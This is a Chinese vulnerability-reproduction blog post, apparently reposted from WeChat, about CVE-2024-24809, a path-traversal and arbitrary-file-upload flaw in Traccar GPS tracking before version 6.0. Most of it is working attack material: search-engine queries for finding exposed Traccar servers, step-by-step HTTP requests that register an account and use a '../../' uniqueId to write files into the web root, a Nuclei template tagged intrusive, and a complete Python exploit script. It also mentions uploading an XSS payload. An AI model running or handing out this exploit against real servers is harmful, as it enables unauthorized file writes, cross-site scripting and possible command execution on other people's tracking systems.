CVE-2024-24809
Description Traccar 是一个开源的 GPS 跟踪系统。6.0 之前的版本容易受到路径遍历和不受限制地上传危险类型的文件的影响。由于系统默认允许注册,攻击者可以通过注册账号来获取普通用户权限,并利用该漏洞上传前缀为 device 的文件。在任何文件夹下。攻击者可以利用此漏洞进行网络钓鱼、跨站点脚本攻击,并可能在服务器上执行任意命令。版本 6.0 包含针对该问题的补丁
漏洞信息
混子Hacker
01
资产测绘
fofa: app="Traccar"
Quake:title:"Traccar"
混子Hacker
02
漏洞复现
1、注册账号
POST /api/users HTTP/1.1
Host: xxx
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 73
{"name": "用户名", "email": "邮箱", "password": "123456"}
POST /api/session HTTP/1.1
Host: xxx
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 40
email=邮箱&password=123456
POST /api/devices HTTP/1.1
Host: xxx
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: application/json
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Content-Length: 44
{"name": "oiCEsOJk", "uniqueId": "oiCEsOJk"}
POST /api/devices/{device_id}/image HTTP/1.1
Host: xxx
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: image/HUyjxWsW
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Content-Length: 20
hPrctfuSZzpXdTTGcqvO
5、更改上传路径device_name为步骤3中的name
PUT /api/devices/{device_id} HTTP/1.1
Host: xxx
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: application/json
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Content-Length: 326
{"id": {device_id}, "attributes": {"deviceImage": "device.png"}, "groupId": 0, "calendarId": 0, "name": "test", "uniqueId": "{device_name}/../../../../../opt/traccar/modern", "status": "offline", "lastUpdate": null, "positionId": 0, "phone": null, "model": null, "contact": null, "category": null, "disabled": false, "expirationTime": null}
6、再次上传文件
POST /api/devices/{device_id}/image HTTP/1.1
Host: xxx
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: image/HUyjxWsW
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Content-Length: 20
hPrctfuSZzpXdTTGcqvO
访问上传成功
可以上传一个xss payload也是成功弹窗
混子Hacker
03
Nuclei Poc
id: CVE-2024-24809
info:
name: Traccar - An authentication bypass vulnerability
author: Ghost_sec
severity: high
description:
Traccar is an open source GPS tracking system. Versions prior to 6.0 are vulnerable to path traversal and unrestricted upload of file with dangerous type. Since the system allows registration by default, attackers can acquire ordinary user permissions by registering an account and exploit this vulnerability to upload files with the prefix `device.` under any folder. Attackers can use this vulnerability for phishing, cross-site scripting attacks, and potentially execute arbitrary commands on the server. Version 6.0 contains a patch for the issue.
reference:
- https://github.com/traccar/traccar/commit/b099b298f90074c825ba68ce73532933c7b9d901
- https://notcve.org/view.php?id=CVE-2024-24809
- https://nvd.nist.gov/vuln/detail/CVE-2024-24809
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L
cvss-score: 8.5
cve-id: CVE-2024-24809
cwe-id: CWE-27
epss-score: 0.00043
epss-percentile: 0.09551
metadata:
verified: true
max-request: 1
shodan-query: app:"Traccar"
tags: cve,cve2024,traccar,rce,intrusive,file-upload
variables:
name: "ghostsec"
password: "ghostsec"
email: "[email protected]"
unique: "{{rand_base(6)}}"
str: "{{randstr}}"
flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)
http:
- raw:
- |
POST /api/users HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{name}}", "email": "{{email}}", "password": "{{password}}", "totpKey": null}
matchers:
- type: word
part: body
words:
- '"administrator":'
- '"fixedEmail"'
condition: and
internal: true
- raw:
- |
POST /api/session HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
email={{email}}&password={{password}}
matchers:
- type: word
part: body
words:
- '"deviceReadonly":'
- '"expirationTime":'
condition: and
internal: true
- raw:
- |
POST /api/devices HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{unique}}", "uniqueId": "{{unique}}"}
matchers:
- type: word
part: body
words:
- '"calendarId"'
- '"groupId":'
condition: and
internal: true
extractors:
- type: json
part: body
name: value
internal: true
json:
- '.id'
- raw:
- |
POST /api/devices/{{value}}/image HTTP/1.1
Host: {{Hostname}}
Content-Type: image/srHtgGrc
{{str}}
extractors:
- type: regex
part: body
name: filename
internal: true
regex:
- 'device.([a-zA-Z]+)'
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "application/json")
condition: and
internal: true
- raw:
- |
PUT /api/devices/{{value}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"id": {{value}}, "attributes": {"deviceImage": "device.png"}, "groupId": 0, "calendarId": 0, "name": "test", "uniqueId": "{{unique}}/../../../../../opt/traccar/modern", "status": "offline", "lastUpdate": null, "positionId": 0, "phone": null, "model": null, "contact": null, "category": null, "disabled": false, "expirationTime": null}
matchers:
- type: word
part: body
words:
- '"deviceImage":'
- '"expirationTime":'
condition: and
internal: true
- raw:
- |
POST /api/devices/{{value}}/image HTTP/1.1
Host: {{Hostname}}
Content-Type: image/srHtgGrc
{{str}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "application/json")
condition: and
internal: true
- raw:
- |
GET /{{filename}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
python脚本
import requests
import random
import string
import sys
session = requests.session()
def generate_random_string(length=8):
letters = string.ascii_letters
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
def register(target, username):
headers = {
'Content-Type': "application/json"
}
data = {
"name": username,
"email": f"{username}@admin.com",
"password": "123456"
}
res = session.post(f"{target}/api/users",headers=headers, json=data)
return res
def login(target, username):
headers = {
'Content-Type': "application/x-www-form-urlencoded;charset=UTF-8"
}
data = 'email=' + username + '@admin.com&password=123456'
res = session.post(f"{target}/api/session",headers=headers, data=data)
return res
def add_device(target, device_name):
headers = {
'Content-Type': "application/json"
}
data = {
"name": device_name,
"uniqueId": device_name
}
res = session.post(f"{target}/api/devices",headers=headers, json=data)
return res
def upload_file(target, device_id, file_suffix, data):
headers = {
'Content-Type': f"image/{file_suffix}"
}
res = session.post(f"{target}/api/devices/{device_id}/image",headers=headers, data=data)
return res
def change_upload_path(target, device_id, device_name, upload_path):
headers = {
'Content-Type': 'application/json'
}
data = {
"id": device_id,
"attributes": {
"deviceImage": "device.png"
},
"groupId": 0,
"calendarId": 0,
"name": "test",
"uniqueId": f"{device_name}/../../../../..{upload_path}",
"status": "offline", "lastUpdate":None,"positionId":0,"phone":None,"model":None,"contact":None,"category":None,"disabled":False,"expirationTime":None}
res = session.put(f"{target}/api/devices/{device_id}",headers=headers, json=data)
return res
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} http://example.com:8082")
sys.exit(0)
target = sys.argv[1]
username = generate_random_string()
# register user
res = register(target, username)
if username not in res.text:
print("Register Error!!")
sys.exit(0)
print(f"Register: {username}@admin.com Password: 123456")
# login
res = login(target, username)
if username not in res.text:
print("Login Error!!")
sys.exit(0)
print("Login Success!!")
device_name = generate_random_string()
# Add Device
res = add_device(target, device_name)
if 'id' not in res.text:
print("ADD Device Error!!")
sys.exit(0)
print(f'Add Device Success!! [{device_name}]')
device_id = res.json()['id']
# # Upload File
suffix = generate_random_string()
data = generate_random_string(20)
res = upload_file(target, device_id, suffix, data)
if 'device.' + suffix not in res.text:
print("Upload Error!!")
sys.exit(0)
print(f"First Upload Success!!")
# Change Upload Path
upload_path = "/opt/traccar/modern"
res = change_upload_path(target, device_id, device_name, upload_path)
if upload_path not in res.text:
print("Change Upload Path Error!!")
sys.exit(0)
print("Change Upload Path Success!!")
# Upload File Again
res = upload_file(target, device_id, suffix, data)
if 'device.' + suffix not in res.text:
print("Upload Error!!")
sys.exit(0)
print("Upload Success!!")
# Check upload
# if set upload_path = "/opt/traccar/modern"
check_url = f"{target}/device.{suffix}"
print(f"Check: {check_url}")
res = session.get(check_url)
if data in res.text:
print("Is a Vulnerability!")
else:
print('Not is a Vulnerability!')
<<< END >>>
原创文章|转载请附上原文出处链接
更多漏洞|关注作者查看
作者|混子Hacker
原文始发于微信公众号(混子Hacker):【漏洞复现】CVE-2024-24809
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论